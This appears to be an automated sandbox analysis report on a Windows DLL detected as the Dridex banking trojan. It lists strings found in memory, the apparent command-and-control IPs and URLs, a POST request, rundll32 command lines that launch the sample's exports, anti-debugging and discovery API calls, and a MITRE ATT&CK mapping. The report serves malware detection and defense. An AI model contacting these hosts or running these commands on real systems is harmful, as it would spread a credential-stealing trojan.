Source: rundll32.exe, 00000004.00000003.732236260.000000000339C000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/$
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/&
Source: loaddll32.exe, 00000000.00000002.825892438.0000000001143000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/.0.96:6891/
Source: loaddll32.exe, 00000000.00000003.480245456.0000000001150000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220//
Source: loaddll32.exe, 00000000.00000003.491368237.0000000001150000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/0Z0W1
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/1-0
Source: loaddll32.exe, 00000000.00000003.480245456.0000000001150000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/7.0.96:6891/
Source: loaddll32.exe, 00000000.00000003.692427615.000000000114C000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/7.0.96:6891/Microsoft
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/8
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/;
Source: loaddll32.exe, 00000000.00000003.785545934.000000000114D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/B
Source: loaddll32.exe, 00000000.00000003.463671472.0000000001151000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/C
Source: rundll32.exe, 00000004.00000002.839402088.000000000343A000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/Certification
Source: loaddll32.exe, 00000000.00000003.785545934.000000000114D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/I
Source: loaddll32.exe, 00000000.00000003.603741779.0000000001150000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/K
Source: loaddll32.exe, 00000000.00000003.785545934.000000000114D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/P
Source: loaddll32.exe, 00000000.00000003.692427615.000000000114C000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/W
Source: loaddll32.exe, 00000000.00000003.779467941.000000000114C000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/aenh.dllltb
Source: rundll32.exe, 00000004.00000003.819391649.00000000033D7000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/e
Source: loaddll32.exe, 00000000.00000003.779467941.000000000114C000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/f
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/g
Source: loaddll32.exe, 00000000.00000003.512614801.0000000001157000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/graphy
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/ntrust
Source: rundll32.exe, 00000004.00000003.498135306.00000000033DB000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/o
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.719411339.000000000114E000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.558714195.0000000001155000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.583912455.000000000114E000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000002.855490130.0000000005463000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/ography
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.690111757.00000000033D7000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/s
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/t
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/trust
Source: rundll32.exe, 00000004.00000003.515187644.0000000003450000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/v
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/y
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/z
Source: rundll32.exe, 00000004.00000003.707287574.0000000003440000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/~
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.459519197.0000000001158000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.732236260.000000000339C000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96/
Source: rundll32.exe, 00000004.00000003.732236260.000000000339C000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96/(6
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96/J
Source: loaddll32.exe, 00000000.00000003.749472778.0000000001150000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.719411339.000000000114E000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.456386588.0000000005467000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000002.855490130.0000000005463000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/
Source: rundll32.exe, 00000004.00000003.456386588.0000000005467000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/)
Source: loaddll32.exe, 00000000.00000003.684059514.0000000001150000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/.
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/.0.96:6891/
Source: loaddll32.exe, 00000000.00000003.547291056.0000000001150000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.774221370.0000000001150000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/.0.96:6891/Microsoft
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000002.833374830.00000000033D7000.00000004.00000020.sdmp	String found in binary or memory: https://45.77.0.96:6891/08/
Source: loaddll32.exe, 00000000.00000003.512614801.0000000001157000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/14
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/2
Source: loaddll32.exe, 00000000.00000003.719411339.000000000114E000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/B
Source: loaddll32.exe, 00000000.00000003.608201796.000000000114A000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/J
Source: loaddll32.exe, 00000000.00000003.749472778.0000000001150000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.603741779.0000000001150000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.491368237.0000000001150000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.543841202.0000000001156000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000002.855490130.0000000005463000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/Microsoft
Source: rundll32.exe, 00000004.00000003.456375848.0000000003450000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/N
Source: loaddll32.exe, 00000000.00000003.505189315.0000000001151000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/Zm
Source: loaddll32.exe, 00000000.00000003.491368237.0000000001150000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/b
Source: loaddll32.exe, 00000000.00000003.608201796.000000000114A000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000002.825892438.0000000001143000.00000004.00000020.sdmp, rundll32.exe, 00000004.00000003.456375848.0000000003450000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/der
Source: loaddll32.exe, 00000000.00000003.459519197.0000000001158000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/derR
Source: loaddll32.exe, 00000000.00000002.825892438.0000000001143000.00000004.00000020.sdmp	String found in binary or memory: https://45.77.0.96:6891/e
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.719411339.000000000114E000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000002.825892438.0000000001143000.00000004.00000020.sdmp, rundll32.exe, 00000004.00000002.855490130.0000000005463000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/graphy
Source: loaddll32.exe, 00000000.00000002.825892438.0000000001143000.00000004.00000020.sdmp, rundll32.exe, 00000004.00000003.456349641.0000000003414000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/h.dll
Source: loaddll32.exe, 00000000.00000003.459519197.0000000001158000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/h.dll9
Source: rundll32.exe, 00000004.00000003.508903560.0000000003450000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/h9
Source: loaddll32.exe, 00000000.00000003.608201796.000000000114A000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/k
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/r
Source: rundll32.exe, 00000004.00000003.456375848.0000000003450000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/v
Source: rundll32.exe, 00000004.00000003.732236260.000000000339C000.00000004.00000001.sdmp	String found in binary or memory: https://452.46.210.220/

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E6839F9 InternetReadFile,

0_2_6E6839F9

Source: unknown	HTTPS traffic detected: 192.46.210.220:443 -> 192.168.2.3:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.46.210.220:443 -> 192.168.2.3:49747 version: TLS 1.2

E-Banking Fraud:

Yara detected Dridex unpacked file

Show sources

Source: Yara match	File source: 3.3.rundll32.exe.53db55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.104db55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.2d6db55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.321db55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.6e650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.2d6db55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.321db55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.4dbdb55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.4dbdb55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.104db55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.6e650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.53db55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.417154756.0000000003200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.439012632.0000000002D50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.869577587.000000006E651000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.431444346.0000000004DA0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.440875078.0000000001030000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.415782949.0000000000520000.00000040.00000001.sdmp, type: MEMORY

Detected Dridex e-Banking trojan

Show sources

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E6551A7 OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,GetAdaptersInfo,

0_2_6E6551A7

Source: SecuriteInfo.com.Variant.Razy.980776.19803.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6667C8	0_2_6E6667C8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E66A660	0_2_6E66A660
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E677660	0_2_6E677660
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E672E60	0_2_6E672E60
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E659E70	0_2_6E659E70
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E669E70	0_2_6E669E70
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E671240	0_2_6E671240
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E670220	0_2_6E670220
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E67D620	0_2_6E67D620
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E65CA10	0_2_6E65CA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E67FA10	0_2_6E67FA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E66F6E0	0_2_6E66F6E0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E668EF0	0_2_6E668EF0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6762F0	0_2_6E6762F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E67FA10	0_2_6E67FA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E673EC0	0_2_6E673EC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E656AD0	0_2_6E656AD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6696D0	0_2_6E6696D0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E668AB0	0_2_6E668AB0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6726B0	0_2_6E6726B0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E671EB0	0_2_6E671EB0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E66AE80	0_2_6E66AE80
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E66BF50	0_2_6E66BF50
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E671730	0_2_6E671730
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E673B00	0_2_6E673B00
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E679B10	0_2_6E679B10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E66B71F	0_2_6E66B71F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E66E3F0	0_2_6E66E3F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6683C0	0_2_6E6683C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E667FC0	0_2_6E667FC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E677FC0	0_2_6E677FC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E671020	0_2_6E671020
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E66D030	0_2_6E66D030
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6688C0	0_2_6E6688C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E668CC0	0_2_6E668CC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E65ACD0	0_2_6E65ACD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E66A0D0	0_2_6E66A0D0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6698DA	0_2_6E6698DA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E66E0A0	0_2_6E66E0A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E674CA0	0_2_6E674CA0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6750A0	0_2_6E6750A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E67DCA0	0_2_6E67DCA0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E675CB0	0_2_6E675CB0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E667564	0_2_6E667564
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E651570	0_2_6E651570
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E665DE8	0_2_6E665DE8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6789F0	0_2_6E6789F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6771F0	0_2_6E6771F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E66FDD0	0_2_6E66FDD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E65F9A0	0_2_6E65F9A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E66D980	0_2_6E66D980
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E67D180	0_2_6E67D180
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E66C590	0_2_6E66C590
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E69E210	4_2_6E69E210

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6622A0 NtDelayExecution,		0_2_6E6622A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E67BE30 NtClose,		0_2_6E67BE30

Source: SecuriteInfo.com.Variant.Razy.980776.19803.dll	Virustotal: Detection: 7%
Source: SecuriteInfo.com.Variant.Razy.980776.19803.dll	ReversingLabs: Detection: 18%

Source: SecuriteInfo.com.Variant.Razy.980776.19803.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll,Bluewing
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll,Earth
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll,Masterjust
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll,Bluewing	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll,Earth	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll,Masterjust	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll',#1	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal84.bank.troj.evad.winDLL@11/1@0/5

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll,Bluewing

Source: SecuriteInfo.com.Variant.Razy.980776.19803.14094

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: SecuriteInfo.com.Variant.Razy.980776.19803.dll

Static file information: File size 1375232 > 1048576

Source: SecuriteInfo.com.Variant.Razy.980776.19803.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: SecuriteInfo.com.Variant.Razy.980776.19803.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_3_00F2A051 push ebp; ret		0_3_00F2A052
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_3_00F2A105 push 4796B4D2h; ret		0_3_00F2A205

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe

Code function: OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,GetAdaptersInfo,

0_2_6E6551A7

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E663930 GetTokenInformation,GetTokenInformation,GetSystemInfo,GetTokenInformation,

0_2_6E663930

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E67CEF8 FindFirstFileExW,

0_2_6E67CEF8

Source: loaddll32.exe, 00000000.00000002.825892438.0000000001143000.00000004.00000020.sdmp, rundll32.exe, 00000004.00000003.732236260.000000000339C000.00000004.00000001.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6E6C97B0 IsDebuggerPresent,IsDebuggerPresent,CreateThread,std::_Timevec::_Timevec,WaitForSingleObjectEx,

4_2_6E6C97B0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6E6C8B60 __invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__cftoe,__aligned_msize,__invoke_watson_if_error,GetFileType,WriteConsoleW,GetLastError,__cftoe,WriteFile,WriteFile,OutputDebugStringW,__invoke_watson_if_error,__CrtDbgReportWV,

4_2_6E6C8B60

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E6C47C0 mov ecx, dword ptr fs:[00000030h]	4_2_6E6C47C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E79BA72 mov eax, dword ptr fs:[00000030h]	4_2_6E79BA72
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E79B64D push dword ptr fs:[00000030h]	4_2_6E79B64D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E79B942 mov eax, dword ptr fs:[00000030h]	4_2_6E79B942

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E666C50 KiUserExceptionDispatcher,LdrLoadDll,

0_2_6E666C50

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E667A60 RtlAddVectoredExceptionHandler,		0_2_6E667A60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E6963A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		4_2_6E6963A0

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.77.0.96 235	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.56.219.47 180	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.46.210.220 187	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 143.244.140.214 40	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll',#1

Jump to behavior

Source: loaddll32.exe, 00000000.00000002.830495060.0000000001910000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.840491551.00000000037F0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: loaddll32.exe, 00000000.00000002.830495060.0000000001910000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.840491551.00000000037F0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.830495060.0000000001910000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.840491551.00000000037F0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.830495060.0000000001910000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.840491551.00000000037F0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6E6E1E60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6E6E1F40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetACP,GetLocaleInfoW,	4_2_6E6E2750
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	4_2_6E6CBC30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6E6E1DB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6E6CB0B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_6E6E2960

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E662980 GetUserNameW,

0_2_6E662980

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection112	Process Injection112	OS Credential Dumping	Security Software Discovery21	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
